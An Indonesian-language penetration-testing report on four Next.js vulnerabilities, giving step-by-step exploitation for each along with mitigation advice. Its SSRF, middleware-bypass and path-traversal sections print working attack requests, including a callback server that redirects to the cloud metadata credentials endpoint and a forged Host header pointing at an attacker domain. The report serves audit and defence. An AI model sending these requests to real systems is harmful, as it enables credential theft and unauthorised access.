

Laporan Analisis Kerentanan Kritis

Next.js dan Panduan Pengujian Penetrasi

Kerangka kerja Next.js telah bertransformasi dari sekadar alat bantu rendering berbasis React menjadi platform aplikasi web *full-stack* yang sangat populer.¹ Seiring dengan adopsi fitur-fitur modern seperti *App Router*, *Server Actions*, dan *React Server Components* (RSC), permukaan serangan (*attack surface*) dari aplikasi berbasis Next.js juga mengalami perluasan yang signifikan.¹ Pengalihan eksekusi kode dari sisi klien (*client-side*) menuju sisi server (*server-side*) mengubah model ancaman keamanan secara fundamental.¹ Dampak dari kegagalan keamanan di tingkat kerangka kerja ini tidak lagi hanya mengancam keamanan data pengguna individu, melainkan dapat membuka celah kompromi total pada infrastruktur server backend maupun komputasi awan (*cloud*) yang menopang aplikasi tersebut.¹

Laporan ini menyajikan analisis mendalam dari perspektif ahli pengujian penetrasi mengenai empat kerentanan kritis yang memengaruhi siklus hidup aplikasi Next.js.⁵ Analisis ini mencakup identifikasi kode *Common Vulnerabilities and Exposures* (CVE), kebutuhan alat pengujian, rincian alur eksploitasi secara kronologis, verifikasi sumber daya penasihat keamanan resmi, serta strategi mitigasi komprehensif untuk mengamankan perimeter aplikasi.⁵

Identifikasi dan Klasifikasi Kerentanan Kritis Next.js

Evaluasi keamanan sistem Next.js memerlukan pemahaman yang komprehensif terhadap berbagai jenis kerentanan yang pernah diidentifikasi dalam beberapa tahun terakhir.¹ Setiap kerentanan merepresentasikan kegagalan logika pada komponen spesifik, mulai dari protokol komunikasi biner hingga penanganan rute statis dan dinamis.¹ Pemetaan sistematis terhadap kerentanan-kerentanan ini sangat penting untuk memahami risiko relatif dan menentukan skala prioritas tindakan perbaikan.³

Data berikut menyajikan klasifikasi mendalam mengenai empat kerentanan kritis yang diidentifikasi pada Next.js:

Kode CVE	Jenis Kerentanan	Skor Kearifan (CVSS)	Versi Terdampak	Versi Perbaikan	Komponen Utama Kerangka Kerja
CVE-2025-66478 (Anak dari CVE-2025-	Remote Code Execution (RCE) / Deserialisas	10.0 (Kritis) ¹	Next.js 15.x, 16.x, & 14.3.0-cana ry.77+ ⁵	15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8,	React Server Components (RSC) Flight

55182)	i Tidak Aman ¹			15.5.7, 16.0.7 ⁵	Protocol ¹
CVE-2024-34351	Server-Side Request Forgery (SSRF) ⁸	7.5 (Tinggi) ⁸	Versi < 14.1.1 (Self-hosted dengan Server Actions) ⁸	14.1.1 ⁸	Server Actions Redirect ⁸
CVE-2025-29927	Middleware Authorization Bypass ⁶	9.1 (Kritis) ⁶	11.1.4 s.d < 12.3.5, 13.0.0 s.d < 13.5.9, 14.0.0 s.d < 14.2.25, 15.0.0 s.d < 15.2.3 ⁶	12.3.5, 13.5.9, 14.2.25, 15.2.3 ⁶	Next.js Middleware Lifecycle ⁶
CVE-2020-5284	Directory Traversal ⁷	4.3 (Sedang) ⁷	Versi < 9.3.2 ⁷	9.3.2 ⁷	Static Asset Serving (.next directory) ⁷

Kerentanan-kerentanan di atas menunjukkan bahwa evolusi Next.js ke arah eksekusi server yang lebih agresif juga membawa risiko keamanan yang lebih tinggi.¹ RCE berbasis deserialisasi pada RSC Flight Protocol (CVE-2025-66478) membuktikan bahwa protokol internal yang menangani komunikasi data terstruktur antara klien dan server rentan disalahgunakan apabila input dari luar dipercaya tanpa batas.¹ Sementara itu, kerentanan SSRF (CVE-2024-34351) dan bypass otorisasi middleware (CVE-2025-29927) menyoroti celah pada integrasi antara komponen perutean (*routing*) dan header HTTP kustom yang dikirimkan oleh pengguna.⁶ Terakhir, kerentanan klasik seperti *Directory Traversal* (CVE-2020-5284) menggambarkan pentingnya sanitasi jalur file secara ketat pada modul penanganan aset statis.⁷

Kebutuhan Alat Pengujian Penetrasi

Proses reproduksi kerentanan pada Next.js menuntut penggunaan instrumen pengujian yang mampu melakukan inspeksi, manipulasi, dan otomatisasi request biner maupun teks secara presisi.⁶ Karena kerentanan ini bekerja pada tingkat protokol dan header HTTP, alat yang digunakan harus memiliki kapabilitas modifikasi paket tingkat rendah.⁶ Kebutuhan alat penguji penetrasi untuk mereproduksi keempat kerentanan Next.js tersebut dirangkum dalam tabel berikut:

Nama Alat	Kategori	Fungsi Teknis dalam Pengujian	Parameter / Karakteristik Utama
Burp Suite Professional / Community Edition	Proksi Intersepsi Web	Melakukan intersepsi, analisis, dan modifikasi header HTTP secara interaktif, seperti penyisipan header x-middleware-subrequest atau modifikasi parameter Next-Action. ⁶	Modul <i>Repeater</i> digunakan untuk pengiriman berulang; modul <i>Intruder</i> untuk otomatisasi identifikasi endpoint. ¹³
cURL Utility	<i>Command-line HTTP Client</i>	Mengirimkan paket HTTP kustom dengan opsi kontrol penuh terhadap struktur request tanpa adanya normalisasi otomatis. ¹⁴	Penggunaan parameter <code>--path-as-is</code> untuk mencegah normalisasi urutan <code>../</code> oleh klien pada kerentanan <i>Directory Traversal</i> . ¹⁴
Deno Deploy / Python HTTP Server	Penanganan Koneksi Eksternal	Bertindak sebagai server penangkap (<i>callback receiver</i>) untuk memproses request verifikasi SSRF yang dikirimkan oleh server Next.js. ¹⁴	Harus dapat dikonfigurasi untuk mengembalikan header kustom Content-Type: text/x-component pada request HEAD dan pengalihan 302 Found pada request GET. ¹⁴
React2Shell Scanner (DAST)	Pemindai Khusus Kerentanan	Melakukan pemindaian otomatis terhadap endpoint Server Function yang	Memindai keberadaan pustaka yang rentan serta mengevaluasi

		rentan dari luar tanpa perlu mengakses kode sumber. ⁹	apakah rute yang mengaktifkan RSC dapat dijangkau di lingkungan produksi. ⁹
--	--	--	--

Kombinasi alat di atas memungkinkan pengujian untuk mereproduksi skenario eksploitasi secara akurat.⁹ Penggunaan Burp Suite sangat krusial dalam memodifikasi model data terserialisasi pada Flight Protocol, sedangkan utilitas command-line seperti cURL memfasilitasi pembuatan skrip pengujian cepat yang dapat dijalankan secara berulang dalam siklus audit keamanan.¹³

Panduan Eksploitasi Kronologis dan Analisis Logika Keamanan

Kerentanan Eksekusi Kode Jarak Jauh Melalui Flight Protocol (CVE-2025-66478 / CVE-2025-55182)

Kerentanan kritis berskala CVSS 10.0 ini, yang sering diistilahkan sebagai "React2Shell", berakar pada masalah deserialisasi tidak aman pada implementasi upstream *React Server Components* (RSC) Flight Protocol.¹ Dalam arsitektur modern Next.js yang memanfaatkan *App Router*, RSC digunakan untuk mentransfer data komponen terstruktur dan panggilan fungsi server secara efisien antara klien dan server menggunakan format transmisi khusus yang disebut Flight.¹ Celah keamanan terjadi karena proses deserialisasi Flight pada Next.js mengevaluasi model data JavaScript yang dikirimkan oleh klien tanpa melakukan validasi tipe dan struktur data secara memadai.¹ Ketika server memproses muatan tersebut, ia akan merekonstruksi objek menggunakan kunci-kunci sensitif seperti `__proto__` atau properti asinkron `then`.¹ Penyerang dapat memanfaatkan kelemahan ini untuk menginjeksikan struktur objek berbahaya yang mengesampingkan (*override*) logika penyelesaian file (*file resolution*) dan jalur eksekusi resolver internal Next.js.¹ Beberapa fungsi internal yang rentan terhadap manipulasi ini antara lain `requireModule` dan `decodeReplyFromBusboy`.¹

Ketika fungsi resolver tersebut memproses objek hasil deserialisasi yang telah dimanipulasi, alur kerja aplikasi akan dipaksa untuk memanggil fungsi-fungsi sistem backend.¹ Dalam ekosistem Node.js yang mendasari Next.js, penanganan backend tertentu sering kali melibatkan utilitas `child_process` untuk eksekusi tugas tingkat rendah.¹³ Dengan mengontrol objek resolver tersebut, penyerang dapat mengalihkan parameter eksekusi ke utilitas `child_process`, sehingga memicu eksekusi perintah sistem (*shell command*) secara acak dengan hak istimewa pengguna runtime Next.js.¹ Karena proses deserialisasi ini berjalan di awal siklus hidup request sebelum sistem melakukan pemeriksaan autentikasi, kerentanan ini sepenuhnya terekspos pada endpoint publik.¹

Alur serangan secara kronologis dilakukan sebagai berikut:

- **Tahap 1 - Identifikasi Endpoint:** Pengujian memetakan rute aplikasi Next.js yang

mengaktifkan fitur RSC atau Server Actions.¹ Identifikasi ini dilakukan dengan memantau request POST yang menyertakan header Accept: text/x-component atau membawa parameter pengenalan aksi pada header Next-Action.¹

- **Tahap 2 - Penyusunan Payload Flight:** Penguji menyusun payload biner atau teks khusus yang merepresentasikan model data Flight terserialisasi.¹ Payload ini memuat manipulasi properti objek (`__proto__`) yang dirancang untuk mengintersepsi fungsi resolver `requireModule`.¹ Objek berbahaya ini dikonfigurasi untuk mengalihkan parameter input ke fungsi eksekusi sistem Node.js.¹³

- **Tahap 3 - Pengiriman Eksploit:** Penguji mengirimkan request POST yang membawa payload tersebut ke salah satu endpoint Server Function yang telah diidentifikasi.¹³ Contoh request menggunakan cURL:

Bash

```
curl -i -X POST https://target-app.com/api/server-action-endpoint \
-H "Content-Type: text/x-component" \
-H "Next-Action: 8h8q6873q5fj" \
--data-binary @malicious_flight_payload.bin
```

- **Tahap 4 - Eksekusi Command:** Saat server menerima request, proses deserialisasi merekonstruksi objek manipulatif tersebut, merusak memori resolver internal, dan mengeksekusi perintah biner yang disisipkan melalui `child_process`.¹ Keberhasilan eksploitasi terkonfirmasi ketika server mengeksekusi perintah tersebut secara fileless.¹⁵

Penyelidikan intelijen ancaman oleh Unit 42 dan Wiz menunjukkan dampak nyata dari eksploitasi kerentanan ini di lapangan.⁴ Tabel berikut menyajikan data post-eksploitasi yang teramati di alam liar:

Jenis Aktivitas Malicious	Payload / Alat Penyerang yang Digunakan	Target Utama Dampak Sistem
Eksekusi Fileless Shell Script	Pemuatan script otomatis via curl atau wget. ¹⁵	Pengambilalihan hak akses terminal lokal server. ¹⁵
Penyebaran Trojan	Pemasangan <i>SNOWLIGHT</i> dan <i>VShell</i> Trojans. ¹⁵	Pembukaan gerbang kontrol jarak jauh persisten. ¹⁵
Instalasi Malware Kripto	Penyebaran miner <i>XMRig</i> . ⁴	Eksplorasi sumber daya komputasi server untuk penambangan. ⁴
Pencurian Kredensial	Pencarian file konfigurasi cloud, variabel env, dan	Eskalasi lateral ke infrastruktur cloud publik

Cloud	token AWS/GCP. ³	organisasi. ³
Implantasi Backdoor	Penyisipan agen komunikasi <i>Sliver</i> . ¹⁷	Pemeliharaan akses jangka panjang di dalam jaringan internal. ¹⁷

Kerentanan Server-Side Request Forgery Melalui Server Actions Redirect (CVE-2024-34351)

Kerentanan ini merupakan kelemahan berperingkat CVSS 7.5 (Tinggi) yang memengaruhi Next.js versi 14.1.1 ke bawah saat dijalankan dalam lingkungan *self-hosted*.⁸ Kelemahan struktural terjadi pada penanganan respon *Server Actions* yang mengimplementasikan fungsi pengalihan (*redirect*) dengan rute relatif yang diawali dengan karakter slash / (misalnya `redirect('/dashboard')`).⁸

Secara logis, ketika *Server Action* mengembalikan respons berupa *redirect* ke rute relatif, server Next.js harus menyusun URL absolut untuk melakukan permintaan internal.² Namun, framework Next.js secara keliru menggunakan nilai dari header *Host* yang dikirimkan oleh klien untuk membangun URL absolut tersebut.² Karena header *Host* dikontrol sepenuhnya oleh penyerang, server Next.js dapat dipaksa untuk mengirimkan request outbound ke server eksternal jahat.⁸

Mekanisme verifikasi Next.js memperparah celah ini.² Sebelum mengambil konten dari rute *redirect*, server Next.js melakukan request validasi menggunakan metode HTTP HEAD untuk memastikan bahwa nilai header *Content-Type* dari tujuan adalah *text/x-component*.² Jika validasi HEAD berhasil, server akan melanjutkan dengan mengirimkan request HTTP GET ke URL tersebut untuk mengambil data.² Penyerang dapat menyusun server eksternal yang merespons metode HEAD dengan tipe konten yang valid, namun mengalihkan request GET berikutnya (melalui respons HTTP 302) ke layanan sensitif di jaringan internal server Next.js (seperti endpoint metadata instans cloud di 169.254.169.254 atau API internal).⁸ Server Next.js akan membaca seluruh respons dari target internal tersebut dan meneruskannya kembali kepada penyerang.⁸

Alur serangan secara kronologis dilakukan sebagai berikut:

- **Tahap 1 - Pemetaan Server Actions:** Penguji mencari halaman aplikasi yang memicu *Server Action* dan mengembalikan *redirect* relatif.² Tindakan ini biasanya berupa pengiriman formulir atau tombol navigasi pasca-autentikasi.²
- **Tahap 2 - Pengaturan Server Callback:** Penguji menggelar server penangkap di internet (misalnya menggunakan Deno atau VPS pribadi).¹⁴ Server ini dikonfigurasi secara khusus dengan logika berikut:

TypeScript

// Implementasi server Deno untuk penanganan verifikasi ganda SSRF

```
Deno.serve((request: Request) => {
  if (request.method === 'HEAD') {
```

```

return new Response(null, {
  headers: { 'Content-Type': 'text/x-component' }, // Lolos uji validasi awal Next.js
});
}
if (request.method === 'GET') {
  return new Response(null, {
    status: 302,
    headers: { 'Location': 'http://169.254.169.254/latest/meta-data/iam/security-credentials/'
  }, // Target SSRF
  });
}
});
...

```

- **Tahap 3 - Intersepsi dan Injeksi:** Penguji memicu aksi Server Action di web target, mengintersepsi request POST-nya menggunakan Burp Suite, lalu mengganti nilai header Host dan Origin dengan alamat server penyerang.¹⁴

```

HTTP
POST /action-endpoint HTTP/1.1
Host: attacker-callback.dev
Accept: text/x-component
Next-Action: c3a144622dd5b5046f1ccb6007fea3f3710057de
Origin: http://attacker-callback.dev
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryllk...
...

```

- **Tahap 4 - Kebocoran Data:** Server Next.js menerima request tersebut, memproses redirect, dan mengirimkan request HEAD ke attacker-callback.dev.² Setelah memverifikasi tipe konten, server mengirimkan request GET yang langsung dialihkan oleh server penyerang ke endpoint metadata internal AWS.⁸ Server Next.js membaca data kredensial IAM internal dan mengembalikan data sensitif tersebut di dalam body respons HTTP ke penyerang.⁸

Kerentanan Bypass Otorisasi Melalui Eksploitasi Header Middleware (CVE-2025-29927)

Kerentanan kritis ini (CVSS 9.1) memengaruhi fungsi otorisasi Next.js yang diimplementasikan di dalam komponen Middleware.⁶ Middleware Next.js berjalan sebelum sebuah request diselesaikan, berfungsi untuk memvalidasi token sesi, memeriksa peran pengguna, dan menentukan apakah request diizinkan untuk mengakses halaman terproteksi.²

Secara arsitektural, Next.js menggunakan header HTTP internal khusus bernama x-middleware-subrequest untuk mengelola dan melacak siklus hidup sub-request yang dihasilkan secara internal selama eksekusi middleware.⁶ Masalah keamanan muncul karena

versi Next.js yang rentan tidak melakukan sanitasi terhadap header ini apabila dikirimkan oleh klien eksternal dari luar jaringan.⁶

Ketika penyerang secara sengaja menyertakan header `x-middleware-subrequest: 1` dalam request eksternal mereka, router Next.js berasumsi bahwa pemeriksaan keamanan dan logika otorisasi telah berhasil dilakukan oleh middleware pada iterasi sub-request sebelumnya.⁶

Akibatnya, server Next.js akan langsung mengarahkan request tersebut ke rute tujuan tanpa mengeksekusi fungsi pemeriksaan otorisasi di middleware.⁶ Hal ini memungkinkan penyerang tidak sah untuk mengakses halaman internal atau panel administrator secara penuh.⁶

Alur serangan secara kronologis dilakukan sebagai berikut:

- **Tahap 1 - Identifikasi Rute Terproteksi:** Penguji mencari rute aplikasi yang seharusnya dilindungi oleh pemeriksaan login atau otorisasi berbasis middleware (misalnya, panel administrator di `/admin/console`).⁶
- **Tahap 2 - Pengujian Akses Standar:** Penguji mengirimkan request GET standar ke halaman tersebut tanpa menyertakan kredensial apa pun untuk mengonfirmasi adanya mekanisme proteksi.⁶ Server seharusnya mengembalikan respons 401 Unauthorized atau mengalihkan pengguna ke halaman login (302 Found).⁶
- **Tahap 3 - Konstruksi Paket Bypass:** Penguji menggunakan Burp Suite Repeater atau cURL untuk menyisipkan header kustom `x-middleware-subrequest` ke dalam request.⁶
Bash

```
curl -i -X GET https://target-app.com/admin/console \
-H "x-middleware-subrequest: 1"
...
```
- **Tahap 4 - Verifikasi Keberhasilan:** Penguji menganalisis respons dari server.⁶ Jika halaman `/admin/console` merender konten administratif yang sensitif dan mengembalikan status 200 OK, maka kerentanan bypass otorisasi terkonfirmasi.⁶

Kerentanan Path Traversal Pada Penyajian Aset Statis (CVE-2020-5284)

Kerentanan *Path Traversal* (CWE-22/CWE-23) ini memengaruhi Zeit Next.js versi di bawah 9.3.2.⁷

Celah ini berada pada mekanisme internal server Next.js yang bertanggung jawab untuk melayani permintaan aset statis dari direktori distribusi hasil kompilasi aplikasi (`.next`).⁷

Secara logis, kerangka kerja Next.js gagal melakukan sanitasi input dan proses kanonikalisasi path yang memadai terhadap rute statis yang diminta oleh pengguna.⁷ Ketika memproses request untuk aset di bawah folder `_next/static/`, server tidak memvalidasi apakah path yang didekodekan mengandung karakter navigasi direktori seperti `../`.⁷ Akibatnya, penyerang dapat menyusun permintaan yang keluar dari batas folder statis yang aman dan masuk ke folder distribusi server internal `.next`.⁷

Meskipun eksploitasi ini dibatasi di dalam cakupan direktori `.next` dan tidak dapat digunakan untuk membaca file sistem operasi umum seperti `/etc/passwd`, direktori `.next` menyimpan banyak data sensitif.⁷ Direktori ini memuat bundel JavaScript terkompilasi, manifes rute, kode

rendering server (*server-side rendering artifacts*), data sesi yang dicache, serta file konfigurasi build yang sering kali mengekspos kunci API atau variabel lingkungan rahasia.⁷

Alur serangan secara kronologis dilakukan sebagai berikut:

- **Tahap 1 - Analisis Struktur Aset:** Penguji mencari rute aset statis aplikasi Next.js, yang umumnya ditandai dengan awalan URL `/_next/static/`.⁷
- **Tahap 2 - Penyusunan Jalur Traversal:** Penguji merancang rute traversal yang menargetkan file konfigurasi internal, seperti file manifes halaman (`pages-manifest.json`) atau manifes build server yang terletak di direktori induk `.next`.⁷
- **Tahap 3 - Pengiriman Request Mentah:** Penguji mengirimkan request menggunakan cURL dengan parameter `--path-as-is` untuk mencegah klien HTTP menormalisasi karakter `../` sebelum dikirimkan ke server web ¹⁴:

Bash

```
curl -i --path-as-is https://target-app.com/_next/static../server/pages-manifest.json  
`` [7, 14]
```

- **Tahap 4 - Eksfiltrasi Data:** Server memproses request mentah tersebut tanpa normalisasi, mendeteksi urutan navigasi direktori, lalu membaca dan mengembalikan isi file `pages-manifest.json`.⁷ Penguji kemudian menganalisis file tersebut untuk memetakan seluruh rute tersembunyi atau file server internal lainnya.⁷

Verifikasi Keabsahan Sumber Dan Referensi Keamanan

Dalam mengaudit sistem keamanan informasi, verifikasi terhadap sumber daya penasihat keamanan resmi sangat penting untuk memastikan keaslian basis data kerentanan yang dianalisis.⁵ Informasi dalam laporan ini telah diverifikasi silang dengan repositori kerentanan nasional serta catatan resmi vendor.⁵

Rincian tautan verifikasi resmi untuk masing-masing kerentanan disajikan dalam tabel berikut:

Kode CVE	Tautan Penasihat Keamanan Resmi (Advisory)	Institusi Penerbit Utama
CVE-2025-66478	Vercel Next.js CVE-2025-66478 Advisory (https://www.wiz.io/blog/critical-vulnerability-in-react-cve-2025-55182)	Vercel Inc. / Wiz Security Research ⁴
CVE-2024-34351	(https://github.com/vercel/next.js/security/advisories/GHSA-fr5h-rqp8-mj6g)	GitHub Advisory Database / National Vulnerability

	(https://nvd.nist.gov/vuln/detail/CVE-2024-34351)	Database (NIST) ⁸
CVE-2025-29927	(https://github.com/vercel/next.js/security/advisories/GHSA-f82v-jwr5-mffw) (https://nvd.nist.gov/vuln/detail/CVE-2025-29927)	GitHub Advisory Database / National Vulnerability Database (NIST) ⁶
CVE-2020-5284	(https://github.com/advisories/GHSA-fq77-7p7r-83rj) (https://nvd.nist.gov/vuln/detail/CVE-2020-5284)	GitHub Advisory Database / National Vulnerability Database (NIST) ⁷

Analisis Strategis dan Kesimpulan Tindakan Mitigasi

Kerentanan kritis yang diidentifikasi dalam arsitektur Next.js menunjukkan bahwa pengamanan aplikasi modern tidak lagi cukup jika hanya mengandalkan sanitasi di tingkat aplikasi pengguna.¹ Kerentanan tingkat protokol seperti "React2Shell" (CVE-2025-66478) membuktikan bahwa jika sebuah komponen kerangka kerja inti memiliki cacat logika deserialisasi, seluruh kode aplikasi di atasnya akan langsung terekspos terhadap risiko eksekusi perintah jarak jauh tanpa memandang seberapa aman kode yang ditulis oleh pengembang internal.¹

Untuk mengamankan perimeter aplikasi Next.js secara komprehensif, tim keamanan informasi disarankan untuk menerapkan strategi pertahanan berlapis (*defense-in-depth*) berikut:

- **Siklus Pembaruan Framework yang Agresif:** Penerapan patch secara instan merupakan langkah mitigasi mutlak untuk kerentanan kritis tingkat protokol.³ Mengingat celah pada RSC Flight Protocol terjadi di dalam fungsi inti pustaka React Server Components yang dikemas oleh Next.js, tidak ada konfigurasi aplikasi biasa yang dapat menonaktifkan jalur kode yang rentan tersebut.³ Pembaruan Next.js ke versi yang aman (seperti 15.0.5, 15.5.7, atau versi stabil terbaru) harus segera dilakukan melalui pengujian regresi otomatis.⁵
- **Implementasi Kebijakan Egress Jaringan yang Ketat:** Kerentanan SSRF seperti CVE-2024-34351 dan CVE-2026-44578 sangat bergantung pada kemampuan server aplikasi Next.js untuk membuat koneksi HTTP/WebSocket keluar ke arah host acak di internet maupun jaringan internal.⁸ Dengan menerapkan aturan firewall keluar (*egress filtering*) yang hanya mengizinkan server web menghubungi daftar IP eksternal tepercaya, organisasi dapat melumpuhkan vektor serangan SSRF.⁸ Akses ke endpoint metadata awan lokal (seperti 169.254.169.254) harus diblokir sepenuhnya, atau dilindungi menggunakan mekanisme token sesi wajib seperti AWS IMDSv2.⁸

- **Penyaringan Header Kustom di Sisi Perimeter:** Untuk mengantisipasi kerentanan bypass otorisasi seperti CVE-2025-29927, sistem keamanan tidak boleh membiarkan request dari pengguna luar membawa header HTTP kustom yang dicadangkan untuk komunikasi internal.⁶ Sebelum request diteruskan ke proses Next.js, proksi web atau *Web Application Firewall* (WAF) di perimeter harus secara otomatis menghapus atau menolak request yang mengandung header x-middleware-subrequest.⁶
- **Penggunaan Web Application Firewall (WAF) Aktif:** Konfigurasikan aturan WAF untuk mendeteksi tanda-tanda eksploitasi umum.⁷ WAF harus dilatih untuk mendeteksi pola deserialisasi biner Flight yang tidak biasa, memblokir request ke rute statis `_next/static/` yang mengandung karakter traversal `../`, serta memantau request Server Actions dengan header Host yang tidak sesuai dengan nama domain resmi aplikasi.⁷
- **Prosedur Rotasi Kunci Pasca-Insiden:** Jika sistem Next.js yang rentan terhadap kerentanan eksekusi perintah (RCE) atau kebocoran data (SSRF) sempat terekspos ke publik dalam kondisi belum ditambal, tim keamanan harus mengasumsikan bahwa kredensial server telah berkompromi.³ Setelah proses patching selesai, langkah wajib berikutnya adalah melakukan rotasi terhadap seluruh rahasia aplikasi, variabel lingkungan, kunci API, token OAuth, dan kredensial basis data guna menetralkan akses persisten yang mungkin telah ditanamkan oleh penyerang.⁵

Karya yang dikutip

1. React & Next.js CVE-2025-55182 / 66478 RCE: Affected Versions ..., diakses Mei 25, 2026, <https://www.oligo.security/blog/critical-react-next-js-rce-vulnerability-cve-2025-55182-cve-2025-66478-what-you-need-to-know>
2. Hacking Next.js Targets: Advanced SSRF Exploitation Guide - Intigriti, diakses Mei 25, 2026, <https://www.intigriti.com/researchers/blog/hacking-tools/ssrf-vulnerabilities-in-nextjs-targets>
3. Security Alert: CVE-2025-66478 & CVE-2025-55182 (React2Shell) – Next.js React Server Components Remote Code Execution - Bitsight, diakses Mei 25, 2026, <https://www.bitsight.com/blog/security-alert-cve-2025-66478-cve-2025-55182-react2shell-nextjs-react-server-components-remote>
4. Critical Vulnerabilities in React and Next.js - Information Security Office, diakses Mei 25, 2026, <https://security.berkeley.edu/news/critical-vulnerabilities-react-and-nextjs>
5. Security Advisory: CVE-2025-66478 - Next.js, diakses Mei 25, 2026, <https://nextjs.org/blog/CVE-2025-66478>
6. CVE-2025-29927 Detail. - NVD, diakses Mei 25, 2026, <https://nvd.nist.gov/vuln/detail/CVE-2025-29927>
7. CVE-2020-5284: Zeit Next.js Path Traversal Vulnerability - SentinelOne, diakses Mei 25, 2026, <https://www.sentinelone.com/vulnerability-database/cve-2020-5284/>
8. CVE-2024-34351: Vercel Next.js SSRF Vulnerability - SentinelOne, diakses Mei 25,

- 2026, <https://www.sentinelone.com/vulnerability-database/cve-2024-34351/>
9. Security-Phoenix-demo/react2shell-scanner-rce-react-next-CVE-2025-55182-CVE-2025-66478: Scanner for CVE-2025-55182 (React) and CVE-2025-66478 (Next.js) - Track and remediate a critical React Server Components (RSC) / Flight protocol vulnerability campaign impacting react-server-dom-webpack, react-server-dom-parcel, react-server-dom-turbopack, and RSC-enabled frameworks like Next.js. · GitHub, diakses Mei 25, 2026, <https://github.com/Security-Phoenix-demo/react2shell-scanner-rce-react-next-CVE-2025-55182-CVE-2025-66478>
 10. Fixing CVE-2025-66478 in Next.js: Universal Guide - DEV Community, diakses Mei 25, 2026, <https://dev.to/anikrouth/fixing-cve-2025-66478-in-nextjs-universal-guide-27c3>
 11. 27TH MAY, 2024 - Cybernetic Global Intelligence, diakses Mei 25, 2026, <https://www.cyberneticgi.com/wp-content/uploads/2024/06/May-2024.pdf>
 12. CVE-2025-29927: Next.js Middleware Flaw | ThreatLabz - Zscaler, Inc., diakses Mei 25, 2026, <https://www.zscaler.com/blogs/security-research/cve-2025-29927-next-js-middle-ware-authorization-bypass-flaw>
 13. CVE-2025-55182: A second attack path that shows how serious this vulnerability really is | by Macaroniwdcheese | Medium, diakses Mei 25, 2026, <https://medium.com/@macaroniwdcheese/cve-2025-55182-a-second-attack-path-that-shows-how-serious-this-vulnerability-really-is-b292e1cba116>
 14. CTFtime.org / UIUCTF 2024 / Log Action / Writeup, diakses Mei 25, 2026, <https://ctftime.org/writeup/39359>
 15. Exploitation of Critical Vulnerability in React Server Components (Updated December 12), diakses Mei 25, 2026, <https://unit42.paloaltonetworks.com/cve-2025-55182-react-and-cve-2025-66478-next/>
 16. Exploitation of Critical Vulnerability in React Server Components (Updated December 12), diakses Mei 25, 2026, https://unit42.paloaltonetworks.com/cve-2025-55182-react-and-cve-2025-66478-next/?pdf=print&lg=en&_wpnonce=94f5e8e069
 17. React2Shell Deep Dive: CVE-2025-55182 Exploit Mechanics | Wiz Blog, diakses Mei 25, 2026, <https://www.wiz.io/blog/nextjs-cve-2025-55182-react2shell-deep-dive>
 18. CVE-2026-44578: Next.js SSRF Vulnerability - SentinelOne, diakses Mei 25, 2026, <https://www.sentinelone.com/vulnerability-database/cve-2026-44578/>
 19. Advisory: Next.js SSRF (CVE-2024-34351) - Assetnote, diakses Mei 25, 2026, <https://www.assetnote.io/resources/research/advisory-next-js-ssrf-cve-2024-34351>
 20. Digging for SSRF in NextJS apps - Assetnote, diakses Mei 25, 2026, <https://www.assetnote.io/resources/research/digging-for-ssrf-in-nextjs-apps>
 21. WAF and framework adapter mitigations for React and Next.js vulnerabilities · Changelog - Cloudflare Docs, diakses Mei 25, 2026, <https://developers.cloudflare.com/changelog/post/2026-05-06-react-nextjs-vuln>

[erabilities/](#)